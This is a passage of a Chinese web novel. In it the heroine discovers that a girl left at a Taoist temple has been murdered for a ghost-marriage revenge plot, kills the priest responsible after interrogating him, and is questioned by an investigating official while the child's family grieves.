他眉头微蹙,瞧了眼风车,又掂量了下手里沉甸甸的米面油盐,摇头道:“不过几张纸糊的玩意儿,风大点就吹散架了,不值当花这钱。”
母亲也弯下腰,温言哄着:“宝儿乖,咱们买点实在的,你看那糖葫芦,甜滋滋的,买了给你甜甜嘴可好?”
她指了指旁边插着糖葫芦的草靶子,试图转移女儿的注意力。
货郎见状赶忙笑着拿那风车,故意在小姑娘面前晃了晃,彩色的纸轮呼呼转起来:“小姑娘真是好眼力。这可是我做得最费心的‘顺风轮’,你去别的地方,那是绝对买不到的。”
而后又怂恿起那对夫妻。
“老爷夫人买一个吧。风车转起随风飞,好运连连紧相随!买一个回家给孩子,保管来年你们万事顺遂。”
许是囊中羞涩,尽管货郎把好话说了个遍,却依旧没能打动那对年轻的夫妇。
“走吧,太贵了。”当父亲的还是舍不得。
毕竟五文钱都能买两个肉包子吃了,买个那么容易坏的玩具,实在划不来。
小姑娘“哇”一声就要哭,可是看到母亲紧锁的眉头,最终又将眼泪憋了回去,扁了扁嘴,看向货郎。
“谢谢叔叔,我们不要了。”
“我要了。”
第111章 晏逐星怀疑
晏逐星的话和小姑娘的同时说了出来。
货郎笑呵呵地收下晏逐星递来的铜板,将风车给了她。
小姑娘一脸羡慕地看着晏逐星,而后依依不舍地被爹娘拽走了。
晏逐星快步走了上去,将风车塞到了她手里。
“送你了。”
“真的吗?”小姑娘眼里瞬间迸发出不可置信的惊喜。
“这可使不得!”她爹娘瞬间摆手拒绝,想要把风车还给晏逐星。
“没关系,她长得很可爱,我瞧见她便心生欢喜,这风车送她了。”晏逐星笑着示意他们收下。
“爹,娘……”小姑娘哀求着看向父母。
最终还是当爹的败下阵来。
他有些不好意思,摸了摸女儿的脑袋:“还不给人家道谢?”
小姑娘立刻露出了笑脸,甜甜道:“多谢仙女姐姐,祝你好运连连紧相随,来年万事都顺遂!”
她将先前货郎说的吉祥话抄了过来,逗得她爹娘忍不住笑出了声。
晏逐星也跟着笑了。
“谢谢贵人。”
“祝您来年万事如意。”
小姑娘的爹娘扯着她再三跟晏逐星道谢后,方才离开。
看着离去的一家三口,晏逐星裹紧了银狐斗篷,眉眼不自觉地弯了弯。
这是她从未体验过的生活,看着就让人莫名感觉很幸福。
幸福过后,遗憾又涌上了心头。
如果她没被温如霜抱走,她或许也会扯着爹娘的手,撒娇央求他们给自己买风车吧。
可她如今却依旧什么都想不起来。
爹娘的模样,家里有什么人,她原本的名字,还是什么都不记得……
晏逐星垂眸,隐去眼里的失望与落寞。
“小姐,麻花买回来了!您快尝尝,可香啦。周围的大叔大婶都说他们家的麻花好吃,全通州最好吃的麻花就在这啦。”双鲤捧着新鲜出炉的炸麻花跑了回来,眼睛亮晶晶的,满是期待。
晏逐星抬起头,脸上已经只剩了笑意。
她尝了一块麻花。
“怎么样?真的有那么好吃吗?”双鲤一边问一边咽口水。
“你自己尝尝不就知道了。”晏逐星笑眯眯地将剩下的麻花都赏给了双鲤。
双鲤欢快道谢后便大口往嘴里塞了一截麻花,而后含糊不清地夸赞道:“啊,他们真的没骗我诶,真好吃!”
晏逐星领着双鲤在街上逛了一圈,买了些没见过的小玩意,这才回了关家。
关家的年夜饭比不得侯府丰盛,但也鸡鸭鱼肉样样俱全,几乎是将家中所有好东西端了上来。
就怕被晏逐星嫌弃。
晏逐星用过年夜饭后,没有收关家人给的压岁钱,也没有跟他们一块守岁,就回了自己的屋子。
她原以为离开了侯府这个年会过得很开心,但她发现实际上也就那样吧。
关家人并不是她真正的亲人,他们对她也只是算计与利用,她在这过年,并没有任何的欢喜。
或许,只有回家才能让她真正地感到开心吧。
不知道,她的家人是否也在找她。
*
大年初一,晏逐星醒来后,关万海已经命人备好了马车。
草草用过早饭后,晏逐星便随着他们一块去了定慈观。
刚到山脚下,就看到了一条长龙,远远望去,至少有上百人。
掀开车帘,她只能隐约瞧见定慈观的大门,牌匾是压根看不清的。
“这么多人啊?”双鲤张大了嘴,十分惊讶。
这热闹的场景,堪比京城玄空寺了。
“咱们来得算早了,再晚,人更多。”关万海解释了起来。
听到这话,晏逐星也有些惊讶。
这定慈观到底有什么特别的,竟然引得那么多人趋之若鹜。
“那咱们得排到什么时候?”她忍不住发问。
“放心,不会太久,因为明妄道长不是谁都见的,有些只是收下东西,将无忧散给他们,让他们上一炷香就离开了。”关万海赶忙解释。
“而且,我早就派人来排队了,人就在前头,就是咱们得走过去,马车不方便。”
他说完后,忐忑地看着晏逐星,生怕她嫌累嫌麻烦掉头就走。
“既是如此,那咱们看看去吧。”晏逐星领着双鲤下了马车。
关万海长长地舒了一口气,腆着笑脸将她往前带。
路上碰见不少从前打过交道的老板,人家都当没瞧见他,他却浑不在意,乐呵呵地主动招呼:
“佟老板,过年好呀,你们也来上香啊?”
“这是我走丢的小女儿关星,现在是定远侯府大小姐,承蒙侯爷开恩,我们父女得以团聚,所以呀我特意领她来上香,感谢道长替我指点迷津,寻回女儿。”
听到晏逐星是定远侯府的大小姐,几位商人脸色微微变了。
等到后来看到关万海跟知州夫人的弟弟打招呼,人家也搭理了他,双方都带着笑容,像是从未有过什么过节。
众人便知道那件事已经过去了,于是也热络地回应起了关万海的打招呼。
“哎哟哟,关老板,好久不见,过几日到我家喝茶呀。”
“好说好说。”
晏逐星看出来他在利用她的身份,没多说什么。
这个时候还不是拆穿的时候,若她当面揭穿,事情传到定远侯那边,她再想除掉定远侯,就得再费一些功夫了。
不过她的名头可不是白借的。
她瞥了关万海一眼,等回去,她就找他要利息。
关万海假装没看到晏逐星的死亡凝视,继续跟人打招呼。
终于到了关家人排好的位置,还有两个人家,就到他们了。
“咳。”
晏逐星咳嗽了一声,关万海瞬间收起了和旁人攀谈的心思,老实守在她旁边等着她的吩咐。
跟来的关曜扯着母亲的袖子,小声道:“爹爹怎么那么怕四姐呀?”
杨氏赶忙捂住他的嘴,生怕他说的话惹恼了晏逐星。
昨夜守岁时,夫君跟她说了晏逐星威胁他的那番话。
她总算明白了,这位看似天真无知的侯府小姐,实际上深藏不漏,惹不得。
“别胡说,你四姐有什么可怕的。哦不,你别叫她四姐,她还没彻底认祖归宗,你叫她大小姐就行。”杨氏赶忙纠正儿子的话。
从前还想摆一摆亲生母亲的架子,现在她只希望晏逐星别盯着她。
“为什么呀?”关曜不解。
“没为什么,你照做就是了。”杨氏捂住了儿子的嘴。
晏逐星听到了母子俩的对话,没搭理他们。
“至清道长好。”眼看轮到自己,关万海忙向迎客的道士行礼。
门口法号至清的小道含笑指引:“这位善信,请这边上香。”
见对方要把他们引去普通香客处,关万海急了,连忙亮出晏逐星身份:“这是我女儿,如今是定远侯府的大小姐!不知可否通禀明妄道长一声,让我们求一份无忧散?”
至清眼神微动,笑容不变:“家师见人,只讲缘分,与身份无关。”
关万海脸上的笑容顿时僵住。
不料至清话锋一转:“倒是这位姑娘,与我颇有眼缘。待我通传一声,为姑娘引荐。”
“多谢道长!多谢道长!”关万海如蒙大赦,连声道谢。
晏逐星对他们口中的“明妄道长”多了几分好奇。
至清转身进了后院,关万海一行人站在门外等候。
没一会儿,至清出来了,看向了晏逐星:“善信,家师说今日与你无缘,不能见你了。”
“哦?”晏逐星还以为这位明妄道长是那种攀附权贵之人,这么看,也不像嘛。
“不过无忧散已经备好,还请几位善信到一旁上香。”至清将他们指引到了殿侧的神像前。
怕她发脾气,关万海赶忙道:“这个,额,明妄道长他比较随性,想见人就见人,不想见就不见,你也别太放在心上。”
晏逐星点了点头,没有多说什么。
她现在对那个无忧散比较好奇。
那个东西真的点燃之后能让人忘记一切烦忧么,怎么她闻着却不觉得。
带着疑惑上完了香,晏逐星目光扫过院角,一个落在地上的彩色大风车撞入眼帘,她眉头不由一蹙。
那不是昨日她买了送那小姑娘的风车么,怎么会出现在这里。
她快步走了过去,俯身捡起。
至清快步追了过来。
“这东西我认识,它的主人呢?”
至清脸上闪过一抹慌乱,而后又变回了一开始笑容满面的模样。
“小姑娘得了家师的眼缘,留在道观侍奉家师呢。”
“可还有其他人跟她一起侍奉明妄道长?”晏逐星询问。
“得家师青眼者寥寥无几,能留下是她的福分。”至清笑容不变,话锋却带了刺,“况且她家中也是情愿的。善信何必多问?”
这话听着有些蹊跷。
晏逐星心中疑窦丛生。
这定慈观分明是清修之地,为何独独留个小姑娘“侍奉”?
“我要见她。”晏逐星语气带着几分不容拒绝的强势。
小姑娘那么喜欢这个风车,才一夜,怎么可能就舍得丢掉。
此事定有蹊跷。
至清见她这么执着,想到她的身份,又不敢拒绝得太过,只得堆起笑脸:“善信稍等,我这就去请示家师。”
“嗯,今日我一定要见她。”晏逐星再次强调。
至清转身的动作更快了,飞奔跑向了后院。
明妄道长听完他的话,不耐烦道:“啧,她要见就见吧。不过一个乡野丫头,竟然与定远侯府大小姐相识。横竖她什么也不知道。”
原先他听到定远侯府大小姐,还以为是定远侯那边查到了什么,知道是他打碎了晏明修的魂魄,因而不想见晏逐星。
可没想到晏逐星这么难缠。
他决定让徒弟早点将她打发走。
“是。”听了他这话,至清便重新去见了晏逐星。
“善信随我来吧,小姑娘如今正在后院打坐呢。”至清挤出了一抹笑。
两人去到了小姑娘所在的屋子,没想到,里边竟然空空如也。
压根不见她的踪影。
第112章 晏逐星杀人
“人呢?”晏逐星扭头看向身旁的至清,眼神瞬间变得凌厉。
“许是孩子贪玩,去了别处。我这就去找她。烦请善信留在此处等候。”至清面色微变,将晏逐星留下,匆匆离开。
“你在这等我,我且看看去。”晏逐星总感觉至清没说实话,这定慈观背后肯定藏了什么大秘密。
“若半个时辰后我没回来,你就让关万海闹大。”
嘱咐好双鲤留在这里等她,她悄悄跟上了至清。
眼看至清左拐右拐,竟然拐到了后山一个偏僻的院落。
那院落外边瞧着破破烂烂,但至清推门而入后,里边的景象却让晏逐星大吃一惊。
屋内装饰富丽堂皇,比起京城里的那些勋贵侯爵的宅院都不逊色。
看来这破道观暗地里可捞了不少钱啊。
“明真师叔,明真师叔。”至清喊了两句。
屋里里一个衣衫不整的男人醉醺醺地走了出来。
“至清啊,你来我这作甚?”
至清着急地问:“你可曾见着今日被师父留下的那个小丫头?”
明真脸色微变,身上的醉意瞬间退去,他含糊道:“反正那丫头都得死,你打听她做什么?”
躲在院中偷听的晏逐星整个人身子都绷紧了。
都得死?
什么意思。
“那也不能现在就死了,贵人那边不是年后才要么。”至清看他闪躲的眼神,心里浮起了不妙的预感。
“你究竟把人弄到哪里去了。”
“我喝了些酒,把那小姑娘当成……&*%……”
明真含糊地嘟囔了几句,晏逐星没听清。
至清却是一副天都塌了的表情。
“你,你疯了吧,现在该怎么跟贵人交代!”
“现在是冬日,尸身用冰棺装着,坏不了,能拖到年后的。”明真狡辩。
“你!你等着,我去请师父裁夺。”至清急匆匆地离开了。
尸身?
晏逐星下意识地攥紧了手掌。
他们说的不会是那个小姑娘吧。
贵人?
他们到底在给谁办事。
这背后究竟藏着什么阴谋。
听到至清要去找明妄道长,明真似乎有些慌张,正厅的门都没关就往房间急匆匆地走去了。
晏逐星想了想,还是悄无声息地跟了上去。
她原本不想多管闲事。
但她想起了小时候的自己。
如果当时能有人像她现在这样多管闲事,或许她就不会被温如霜带走了。
晏逐星尾随明真回到屋内。
她一眼就看到了地上横陈着的一小团影子,目光上移,穿过明真的身侧,露出了她看到了昨日才见过的那张脸。
小姑娘蜷缩在地上,脖颈上是一圈狰狞的红色淤痕,在青白色的尸首上显得格外刺眼。
“啧,真是麻烦。”明真踢了踢脚边的尸首,语气里满是厌烦。
晏逐星只觉得心口那块地方空落落的,像是被人猝不及防地掏了一把。
昨日分别的场景清晰地浮现在眼前。
小姑娘脸颊上带着两团稚气的红晕,拿着大风车爱不释手地对她道谢。
不过一夜的光景。
那个鲜活的小姑娘就变成了一具冰冷的、毫无生气的尸体。
她甚至连她叫什么,今年几岁都不知道。
她就这样死在了她面前。
“是你杀了她?”晏逐星轻声开口。
“谁?”
忽然出现的声音把明真吓了一跳。
他一脸惊恐地回过头,发现来人不过是一个年约十四五的小姑娘。
他又放心了。
“与你何干。”他不以为意地看着晏逐星。
“这不是你该来的地方。滚出去,不然别怪我不客气。”
他以为晏逐星是不小心闯进来的香客,打算待会去明妄那里要一下名册,威胁一二就好。
这种事情,他驾轻就熟。
然而,他低估了眼前的人。
“是么,你想怎么不客气?”晏逐星冷笑一声。
话音未落,匕首已从怀中翻出,寒光一闪,她整个人如离弦之箭,猛地朝对方扑去。
近身的那一刻,她扣住明真手腕,狠狠按在桌上。
右手的匕首毫不留情地刺下,刀刃瞬间贯穿明真左手掌心,将他死死钉在了桌面上。
“啊!”明真浑身剧烈颤抖,发出了一阵惨叫。
“接下来,我问,你答。”晏逐星对他的惨叫声充耳不闻。
她抬手迅速从发髻间抽出了一支簪子。
那簪子通体玄黑,有些分量,顶端缀着一颗圆润的珍珠。
没等明真反应过来,那支簪子就狠狠地扎穿了他的右手掌,将他彻底钉在了桌上。
“啊啊啊——!”明真发出了更凄惨的叫声。
晏逐星的脸色依旧一片淡定。
这是她无聊在家用箭矢改造的簪子。
她退后一步,将腰间的软剑解了下来,直指明真胯下三寸的地方。
明真瞬间夹紧了腿:???
谁家好人身上带那么多兵器啊。
她一字一句道:“现在,可以回答我的问题了吗?”
“女侠饶命啊,你问什么我都说。”明真眼珠子滴溜溜地转了起来。
他自知打不过眼前的少女,干脆假意配合。
反正至清去找明妄师兄了,不一会儿他们就会来了,到时候他要狠狠折辱这个小娘们。
“你们说的贵人是谁?为什么要杀了这孩子?你们定慈观干的都是什么勾当。”晏逐星没有跟他废话。
“你要是不说实话,你就别当道士了,改行当太监吧。”
“我说,我都说。”明真咬牙切齿地回答,将杀意藏回了心底。
说就说,反正待会明妄师兄来了,这小娘们也得死。
“是昭瑞亲王府的贵人让我们干的!”
“那个,你听说过昭瑞亲王府和定远侯府的恩怨吗?”
明真忍着剧痛试探。
晏逐星没想到来到了通州,竟然还能和昭瑞亲王府扯上关系。
“别废话,说重点。”晏逐星手微微一沉,他的胳膊上多了一道血痕。
明真额角沁出细密的冷汗,哪里还敢废话,赶紧把所有的事情说了出来。
“昭瑞亲王府那位谢世孙横死后,老王爷又中了风,那位郡王便发了疯似地想报复定远侯府。后来明妄师兄就被请去了,师兄替王府毁了定远侯府二少爷的魂魄。”
“但郡王不满足,还想继续报复侯府。于是明妄师兄就给他们出了一个主意……”
说到此处,明真斜睨了地上小姑娘的尸首一眼,声音渐渐变低。
“说是要找一个八字纯阴、未破身的女童与谢世孙配骨合葬。如此这般,不仅可以镇住谢世孙的怨煞之气,还可以借此炼化两人的魂魄,搅得定远侯府家破人亡。”
“所以你就把她杀了?”晏逐星眼神瞬间变得冰冷。
“我也是听命行事,女侠饶命……”明真感觉自己身子在渐渐变冷。
至清那个蠢东西,怎么还没把师兄带来呀。
晏逐星手腕一抖,软剑倏地缠上明真的脖颈。
环住。
见血封喉。
明真的求饶声还卡在喉咙里,就已经没了气息。
“晏大小姐,你杀人了。”
身后忽然传来了一个耳熟的声音。
她僵硬地转身回过头去,看到了一个不可能出现在这里的人。
第113章 杀人被发现
是裴明镜。
他身后还跟着护卫,还有明妄师徒。
“是啊,裴大人,如你所见,我杀了他。”晏逐星轻笑一声,慢条斯理地将剑上的血擦掉。
而后又慢悠悠地把插在明真掌心的匕首和簪子收了回来,丝毫没有杀人被抓到的恐惧与惊慌。
反倒是明妄和至清二人脸色大变。
“裴大人,此事,您得给我师弟一个交代。”明妄一脸严肃地看向了裴明镜。
“您可不能因为这位善信来自定远侯府,您就包庇她。杀人偿命,天经地义。”
晏逐星没有回应明妄的话,只是将自己的斗篷摘下,俯身将地上已经变得冷硬的小姑娘裹了起来。
原本她计划着的是先离开现场,之后再带人来给小姑娘收尸。
现在走不掉,那就现在就把孩子带走吧。
这么冷的天,孤零零地躺在这里,家里人看到了不知道得多伤心。
“裴大人,烦请您把小姑娘的家里人找来。”晏逐星无视了明妄。
“嗯。”裴明镜点了点头,看向明妄和至清。
“这小姑娘姓甚名谁,家住何方,为何会出现在你们道观?”
明妄铁青着脸不说话。
至清只得硬着头皮开口:“这是总铺镇小河村唐善信家的孩子,名叫唐果。年方五岁,与家师有缘,因而家里人主动让她留下来随我等修行。”
“我也不知道她为什么会出现在明真师叔的屋子里,还成了如今的模样。”
裴明镜微一颔首:“劳烦二位道长随护卫至偏室稍候,本官稍后再来问话。”
“那明真师弟的尸首……”明妄看向了被一剑封喉的明真,又看了一眼晏逐星,心里有些发毛。
他会的不过是装神弄鬼的把戏罢了。
若是晏逐星也给他来上一剑,他恐怕也活不成了。
还是离这个女煞神远些为妙。
“待本官查清后,你们可以派人来替他收殓。”裴明镜语气淡淡。
听到他这么说,明妄和至清这才在护卫的引领下走向另一间屋子。
晏逐星以为裴明镜将他们遣走后,就会对她开始审问,没想到他竟然又看向了另一个护卫。
“子平,先前道长说的地址你记住了吧?”
见他点头,裴明镜又道:“你拿我令牌,去请通州知州来定慈观协助我调查命案,而后去将唐果的家人请来。”
“是。”
护卫应下,快步离开。
裴明镜终于看向了晏逐星。
“晏大小姐,可有什么要辩解?”
“我说了,裴大人就会信?”晏逐星挑眉一笑。
裴明镜神色淡定:“信不信,要看你有没有撒谎,有没有证据。若你有意杀人,本官自然不会放过你;若你被污蔑,本官自然也不会让你蒙受不白之冤。”
“我还以为裴大人已经在心里给我定罪了,毕竟在裴大人眼里,我可不是什么好人。”晏逐星依旧是笑眯眯的模样,没有半点害怕。
“办案,是要讲证据的。”裴明镜目光灼灼,盯着她没有移开。
“现在,没有旁人在,你可以说实话了么?”
“没问题。”晏逐星爽快点头,把整件事情的来龙去脉都说了一遍,没有半句隐瞒。
“所以你是说,他们留下唐果,是因为唐果八字纯阴,他们要让她给谢锦程陪葬?从而报复定远侯府?”裴明镜眉心一拧。
晏逐星点了点头,指着地上明真的尸体道:“他是这么告诉我的。”
“可如今明真已经死了,你有别的证据么?”裴明镜再次询问。
“没有。”晏逐星摇了摇头。
裴明镜一愣,他还以为她这么淡定,是因为留有后手,结果什么也没有?
“那你不害怕?”他忍不住脱口而出。
“不怕,因为裴大人您来了呀。”晏逐星的笑容比先前灿烂了几分。
“找证据的事情,就交给您了。我相信您的断案能力。您是绝对不会放过一个坏人,也不会污蔑一个好人的。”
晏逐星的话,像一滴浓墨坠入裴明镜的心湖,无声晕开。
她……竟信他?
隐去心下的惊讶,裴明镜淡淡道:“不管你怎么说,若是没有证据,那你就是杀害明真的凶手。你可知道会有什么后果?”
“知道呀。”晏逐星点了点头。
“根据《大虞律令》诸谋杀人者,徒三年;已伤者,绞;已杀者,斩。”
裴明镜心下惊讶更浓。
“你竟然将《大虞律令》都背了下来?”
晏逐星眼里闪过一抹狡黠的笑。
她要干的可是杀人放火的事,当然要提前熟读律法,必要时候可以脱罪。
她才不相信请来的讼师会替她真心辩护,要辩护时,自己上才是最靠谱的。
“是。那会儿腿受伤了不能走动,闲着无聊,背着玩。”晏逐星露出了一副乖巧的笑。
“晏大小姐当真是多才多艺,不仅背得了律法,还会舞刀弄剑。”裴明镜眼里浮起淡淡的笑。
晏逐星拱手:“一般一般啦,还是比不得裴大人聪慧过人,断案如神。”
“不知大小姐箭射得如何?”冷不丁,裴明镜忽然又开口。
“略懂一二。”晏逐星没有惊慌。
“我学东西,不过是为了能过得更好一点。什么都会一点,父亲就会觉得我有用一点。”
“你不必在我面前扮可怜。”裴明镜收起了笑。
“你这样的性子,断然不会让自己受欺负的。”
“从前对你母亲还有妹妹的那些忍让,都你是在演戏吧?”
晏逐星一愣,而后笑出了声,像是听到了什么天大的笑话。
她的笑声越来越大,笑得直到眼泪都掉了下来。
她为了获得那些微薄亲情受的委屈,或许在定远侯一家人的眼里,也和裴明镜一个想法,都觉得是她在演戏吧。
如今想来,真是可笑。
“嗯,你说得对。我都是在演戏。所以从今往后,我不会再演,我就是要痛痛快快地活一回。”晏逐星擦掉了眼泪,将怀里的匕首奋力一掷,直接插到了明真的下腹处。
裴明镜身子一震。
他没想到,晏逐星竟然敢当着他的面对一具尸体动手。
第114章 晏明远死了
“一个能对无辜稚童下手的卑鄙无耻的畜生,我自然要杀了他。”晏逐星眉目里满是戾气。
想到唐果小小尸体上的那些伤痕,裴明镜难得没有反驳她。
沉默片刻后,他斟酌着再次开口:“为了这样的人,赔上一辈子……”
“谁说我会赔上一辈子?”晏逐星嗤笑一声。
“此人见色起意,意图对我行不轨之事,我拼死反抗,杀了他,有什么错吗?”
裴明镜又一次被她的话震惊到了。
“你这么说,不怕名声被毁?”
“毁了又如何?难不成裴大人觉得我如今名声很好么?”晏逐星反问。
“只要我不在乎,他们说什么都伤害不了我。撑死了也就是一辈子嫁不出去。”
“一辈子嫁不出去,难道是什么很可怕的惩罚吗?”
晏逐星说到这里,忍不住笑了。
裴明镜发现他越来越看不透晏逐星了。
而且,可怕的是,他竟然隐隐对她这样肆意的洒脱产生了一些羡慕。
他深吸一口气:“你留在此地等我,待我查明真相后,再送你回家。”
“我想见我的丫鬟,她见不到我,怕是要吓坏了。”晏逐星坦然地提了自己的需要。
裴明镜点头应下:“可以。她与你爹娘还有弟弟在一块。”
“事情没查清之前,你们一家都不得离开,本官已经派人拦着了。你去找他们吧。”
说完他就要走,但刚转身就被晏逐星叫住了。
“对了,今日大年初一,裴大人不该在国公府与家人团圆么,为何会出现在这里?”
裴明镜回头,直直地盯着她,而后说出了一句让晏逐星意想不到的话。
“你大哥晏明远,昨天夜里,死了。”
他不认为晏明远的死会那么简单,他的直觉告诉他,此事还是与晏逐星有关。
可晏逐星不在京城,她真的能有办法杀了晏明远吗?
所以今日城门一开,他便领着护卫快马加鞭地赶来了通州。
他要亲眼确认她人在通州才行。
没想到,他来到后,确实见到她了,只不过是在凶杀现场见到的。
“死了?”晏逐星一愣。
阮寄薇和九栀动手的速度那么快吗?
见她惊讶的表情不似作伪,裴明镜脑海里闪过了数种猜测。
难不成,他的直觉不准了?
他这么多年来,查案时的直觉从未有过差错,唯独在晏逐星身上栽了好几回。
他不得不谨慎再谨慎。
见晏逐星迟迟没有说话,他正准备试探几句,就听到她惊恐地开口。
“那个明妄道长,真那么厉害?裴大人,您可要小心啊。”
裴明镜一时还没反应过来她这话是什么意思。
“您忘了吗?明真说了,明妄给昭瑞亲王府出了一个毒计,要让定远侯府家破人亡。”
“我得快点派人回京告知父亲,查查家中是否有什么怪异的东西。上回,昭瑞亲王府还派人送了二哥的遗物回来,还告诉我们二哥已经魂飞魄散。”
晏逐星一脸焦急。
裴明镜:“……”
不是说好不演了么。
他怎么感觉这位晏大小姐演上瘾了?
她看起来根本就不关心他死活,却还要虚情假意地嘱咐他一句要小心。
明明只是想提醒他明真先前说的那些证词吧。
“妖邪鬼怪之说,纯属无稽之谈。晏大小姐不必忧心。”留下这么一句话,裴明镜便去找明妄和至清了。
晏逐星在裴明镜护卫护送下,去了前院。
双鲤一看到她,就泪眼汪汪地扑了过来。
“大小姐,您没事吧?”
晏逐星摸了摸她的脑袋,安慰道:“我没事,不用担心,身上的血不是我的。”
关万海领着夫人和儿子急匆匆地赶过来。
“发生什么事了,怎么会发生命案了?”
“等裴大人先调查吧。”晏逐星没有跟他们过多的解释,让人取了一件新的衣裳和斗篷来,她要更衣。
没过多久,裴明镜的护卫带着唐家人来了。
晏逐星又见到了昨日那对小夫妻。
跟他们一同前来的,还有一个老妇人,她腿软好似走不动了,全然凭着小夫妻一左一右扯着她才被带上来。
晏逐星跟着他们再一次去了后院。
唐家人没察觉跟在身后的她,他们只想快点见到自己的孩子。
“大人,我的女儿呢?”唐田声音发颤地看向了领他们来的护卫。
护卫指了指地上那个裹得严严实实的斗篷。
唐田的脚像是被钉在了原地,他不敢上前,甚至连呼吸都屏住了。
最后还是他的妻子何氏快步向前,蹲下身,猛地掀开了斗篷。
两人都看清了里边的脸。
那张脸又青又白,毫无血色,像蒙了一层寒霜的玉。
正是他们的女儿——唐果。
何氏双腿一软,甚至连哀嚎都没来得及发出,整个人就栽倒在了地上。
唐田踉跄着想要冲过去搀扶妻子,但双腿却像棉花般使不上力。他站在原地,眼睁睁落下了一行清泪。
与他们一同前来的唐母,吓得尖叫了一声。
“不,怎么就死了呢!”
“不可能,不可能!!!”
她这一声尖叫,打破了唐田夫妻俩的沉闷,他们终于哭了出来。
“果儿,我的果儿。”何氏眼泪奔涌而出,扑上去紧紧抱住了女儿的尸体。
“你快醒醒,醒醒,娘给你买大风车,买绢花戴好不好?”
唐田忍着心碎,扭头看向了护卫:“请问这位大人,明妄道长身在何处?能否让我见他,我有话要问他。”
护卫:“待裴大人问完话,你们才能见他。”
听到这话,唐田攥紧了拳头,失望地转身。
这时,他才看到站在不远处的晏逐星。
他脸上满是惊讶:“贵人,是你?”
而后他又扭头看向了盖在女儿身上的斗篷,猛地反应了过来。
“那是您的衣裳?您先前见过果儿?”他激动地看着晏逐星。
原本痛哭流涕的何氏听到这话,止住了哭声,扑通跪倒在了晏逐星面前,不停地给她磕头。
“恩人,大小姐,求您告诉我吧,究竟发生了什么事?我的果儿是怎么死的?”
第115章 断子绝孙了
晏逐星沉默了。
她不知道到底该不该将真相告诉他们。
对于这样的普通百姓,昭瑞亲王离他们来说实在太远,想要报仇,谈何容易。
“恩人,求您了,您就告诉我们吧。”唐田也跪了下去。
晏逐星将两人搀扶了起来。
她决定把真相说出来。
他们是唐果的家里人,他们有权利知道真相,至于知道之后会怎么做,那也是他们的选择。
“我来的时候,她已经不在了。”晏逐星的一句话,击溃了两人。
他们互相搀扶着,才没有再度跌倒。
“但是据杀害她的那人所言……”
她把明真说的话,原原本本地告诉了唐田夫妻俩。
唐田夫妻俩如遭雷击,他们身后的唐母痛苦地捂住了脸。
“道长说的是小果儿的八字不好,克着咱们老唐家的祖坟了,所以我才一直没有孙子。”
“只要把小果儿留在他这跟随他清修,我很快就能抱上孙子了。”
“他,他竟然骗我!”
唐田听到这话,不可思议地看着母亲。
“娘,您怎么能听信这样的话?!”唐田十分痛苦。
“还不是你跟何氏,生下小果儿之后一直没有再生,娘着急啊。”唐母哭得一把鼻涕一把眼泪。
“我不能看着咱们老唐家断子绝孙啊。”
“况且、况且,明妄道长向来说得很准,谁能料到,他竟然这样心肠歹毒之人啊。”
唐母哭得愈发大声。
看着母亲这般自责愧疚,唐田责备的话也说不出口了。
但一旁的何氏却跟疯了一样,猛地扑过去揪住了她的衣领,厉声质问:“你不是说过两日就能把果儿接回去吗?”
“你还我女儿命来!”
“阿苗,你冷静点,娘她不是故意的。”唐田赶忙劝架。
见儿子护着自己,唐母用力推开了何氏,狡辩道:“这事也不能全怪我。要是你早早生了儿子,我也不会听信谗言,把果儿留在道观。”
何氏没想到这事竟然还能怪到自己头上,她情绪更激动了。
“你知道为何成婚多年我和唐田只有果儿一个孩子吗?那是因为……”何氏的话还没说完,就被唐田捂住了嘴。
“阿苗,你冷静点!!!”他嘶声怒吼。
“因为什么,儿子你让她说。”唐母想到这几年何氏都没生出儿子,腰杆子又硬了起来。
何氏再也不受这个窝囊气,她咬了唐田的手一口,推开他大喊出来:“是因为大夫说你儿子元阳弱于常人,很难有孩子。能有一个果儿已经是老天眷顾!”
“你胡说八道。”唐母怒目圆瞪,都忘了哭了。
“我是不是胡说,你可以去问济世堂的胡大夫。”何氏眼泪不停地往外流。
她好不容易得了一个女儿,如今却阴阳相隔,她怎能不恨。
早知如此,今日她便跟着来这定慈观了。
无论如何,她都不会让女儿留下来的。
可现在,说什么都晚了。
唐田脸色变得灰败,一言不发。
唐母还想嚷嚷的,瞧见儿子这个表情,便知道何氏说的是真的了。
这一刻,她终于明白,为何生下果儿后,儿子对儿媳百般好。
原来竟是因为这个原因。
“能治好的,对不对?说不定是通州的大夫不行呢?要不咱们去京城瞧瞧?京城名医多,不管花多少银两,娘都给你治!”唐母一把抓住了儿子的手,眼里堆满了急切。
“你以为我们没去过吗……”唐田甩开了母亲的手,脸色愈发难看。
“京城的大夫也说了,这个是娘胎里带的,很难调养好了。”
“我和阿苗想着,等果儿长大了招赘婿,生个儿子跟我姓唐,也算有了后。”
“如今,一切都毁了……”
唐母听到这话,终于意识到唐家这一回真的彻底断子绝孙了的事实,当场就晕了过去。
晏逐星也没想到唐母将唐果留下竟是这个原因,一时间也无言以对。
可惜了唐果这孩子。
裴明镜迟迟没有出现,但通州知州却派了几十个兵马守住了定慈观,一时间被留下的关家人都很紧张。
“到底出什么事了?大小姐,您就告诉我们吧。”关万海忍不住又来找晏逐星。
“与你们无关,不必太担忧。”晏逐星还是没有给他们答案。
关万海铩羽而归,急得在原地来回踱步。
“早知今日就不来这定慈观了。”他嘟囔着,整个人肉眼可见的烦躁。
杨氏也烦,但她不敢多说什么,这毕竟是夫君的决定,如今说什么都晚了。
只能耐着性子等了。
他们从天亮等到了天黑,终于等到了裴明镜从关押明妄的房间里走了出来。
“送他们回吧。”裴明镜没想到今日竟然查出了这么一桩大案子。
他揉了揉疲惫的眉心,吩咐了下去。
通州知州林天耀一脸谄媚:“裴大人,可要先去知州府小憩片刻?”
裴明镜并未理会他的示好,淡淡道:“不必了。林大人管辖的境内出现了这样的邪道,暗地里谋财害命无数起,林大人还是想想怎么跟皇上交代吧。”
林天耀登时脸色就变了。
大过年的,裴明镜就不能说点好听的吗。
他哭丧这一张脸道:“裴大人,此事下官也是才知道啊……”
“林大人这是在拖延时间好让明妄的同伙逃脱?若是如此,之后本官参的可不就是失察之责这么简单了。”裴明镜瞥了他一眼。
林天耀当即头皮发麻,立刻举手发誓:“下官这就去查,绝不会姑息这些作奸犯科之人。”
晏逐星有些好奇究竟发生了什么事。
她看向裴明镜,正欲打听,裴明镜就直接让人把他们请走了。
“无关之人可以离开了。”
晏逐星快步追了上去。
“我不算无关之人吧?”
她想知道完整的事情,说不定可以从中抽丝剥茧,利用他们做的事情加快昭瑞亲王府的灭亡。
裴明镜眉头微皱。
